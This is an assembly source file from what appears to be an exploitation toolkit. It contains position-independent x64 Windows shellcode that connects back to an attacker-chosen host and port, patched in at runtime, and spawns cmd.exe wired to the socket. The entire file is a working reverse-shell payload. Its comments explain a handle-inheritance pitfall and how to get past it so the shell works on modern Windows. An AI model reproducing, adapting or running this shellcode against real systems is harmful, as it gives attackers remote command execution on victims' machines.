Files
go_pwner/shellcode/asm/reverse_shell_x64.asm
T
2026-07-18 21:37:15 +03:00

158 lines
5.0 KiB
NASM

; reverse_shell_x64.asm — position-independent x64 shellcode: connect back
; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio
; redirected to the socket. The classic Windows reverse-shell primitive.
;
; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the
; assembled blob; winpwn patches sin_port/sin_addr at runtime (see
; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as
; constants since they never change.
;
; Real gotcha, worth recording here since it's easy to miss and the
; failure mode (cmd.exe launches but stdin/stdout look disconnected, no
; error anywhere) gives no hint why: socket() handles are NOT inheritable
; by default on modern Windows (a hardening change from the days when
; every handle was inheritable by default). bInheritHandles=TRUE on
; CreateProcessA alone is not enough -- SetHandleInformation must mark the
; specific socket handle as inheritable first, or the child simply doesn't
; get a usable copy of it no matter what STARTUPINFOA says.
BITS 64
default rel
start:
push rbp
push r12
push r13
mov rbp, rsp
and rsp, ~0xF
call get_kernel32_base
mov r12, rax ; r12 = kernel32 base, kept for the whole routine
; WSAStartup(0x0202, &wsadata_buf)
mov rcx, r12
lea rdx, [rel name_ws2_32]
lea r8, [rel name_wsastartup]
call resolve_export
mov rcx, 0x0202
lea rdx, [rel wsadata_buf]
sub rsp, 0x20
call rax
add rsp, 0x20
; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
mov rcx, r12
lea rdx, [rel name_ws2_32]
lea r8, [rel name_socket]
call resolve_export
mov rcx, 2
mov rdx, 1
mov r8, 6
sub rsp, 0x20
call rax
add rsp, 0x20
mov r13, rax
; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT)
; -- see the file header: without this, the child below can't actually
; use sockfd no matter what STARTUPINFOA/bInheritHandles say.
mov rcx, r12
xor rdx, rdx
lea r8, [rel name_sethandleinformation]
call resolve_export
mov rcx, r13
mov rdx, 1
mov r8, 1
sub rsp, 0x20
call rax
add rsp, 0x20
; connect(sockfd, &sockaddr_buf, 16)
mov rcx, r12
lea rdx, [rel name_ws2_32]
lea r8, [rel name_connect]
call resolve_export
mov rcx, r13
lea rdx, [rel sockaddr_buf]
mov r8, 16
sub rsp, 0x20
call rax
add rsp, 0x20
; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid
; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is
; CreateProcessA's own shadow space + its 6 stack-passed arguments.
sub rsp, 0xE0
mov qword [rsp+0x50], 0
mov qword [rsp+0x58], 0
mov qword [rsp+0x60], 0
mov qword [rsp+0x68], 0
mov qword [rsp+0x70], 0
mov qword [rsp+0x78], 0
mov qword [rsp+0x80], 0
mov qword [rsp+0x88], 0
mov qword [rsp+0x90], 0
mov qword [rsp+0x98], 0
mov qword [rsp+0xA0], 0
mov qword [rsp+0xA8], 0
mov qword [rsp+0xB0], 0
mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb
mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60)
mov [rsp+0xA0], r13 ; .hStdInput (offset 80)
mov [rsp+0xA8], r13 ; .hStdOutput (offset 88)
mov [rsp+0xB0], r13 ; .hStdError (offset 96)
; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)
mov rcx, r12
xor rdx, rdx
lea r8, [rel name_createprocessa]
call resolve_export
mov r14, rax
xor rcx, rcx ; lpApplicationName = NULL
lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe"
xor r8, r8 ; lpProcessAttributes = NULL
xor r9, r9 ; lpThreadAttributes = NULL
mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE
mov qword [rsp+0x28], 0 ; dwCreationFlags = 0
mov qword [rsp+0x30], 0 ; lpEnvironment = NULL
mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL
lea rax, [rsp+0x50]
mov qword [rsp+0x40], rax ; lpStartupInfo = &si
lea rax, [rsp+0xB8]
mov qword [rsp+0x48], rax ; lpProcessInformation = &pi
call r14
add rsp, 0xE0
mov rsp, rbp
pop r13
pop r12
pop rbp
ret
%include "resolver.inc"
name_ws2_32: db "ws2_32.dll", 0
name_wsastartup: db "WSAStartup", 0
name_socket: db "socket", 0
name_connect: db "connect", 0
name_sethandleinformation: db "SetHandleInformation", 0
name_createprocessa: db "CreateProcessA", 0
; lpCommandLine must point at writable memory (CreateProcessA may modify
; it in place) -- fine here since shellcode bytes live in a writable page
; wherever they landed, same as every other template's embedded buffers.
cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0
align 8
wsadata_buf:
times 512 db 0
align 8
sockaddr_buf:
dw 2 ; sin_family = AF_INET
dw 0 ; sin_port, patched at runtime (network byte order)
dd 0 ; sin_addr, patched at runtime (network byte order)
dq 0 ; sin_zero[8]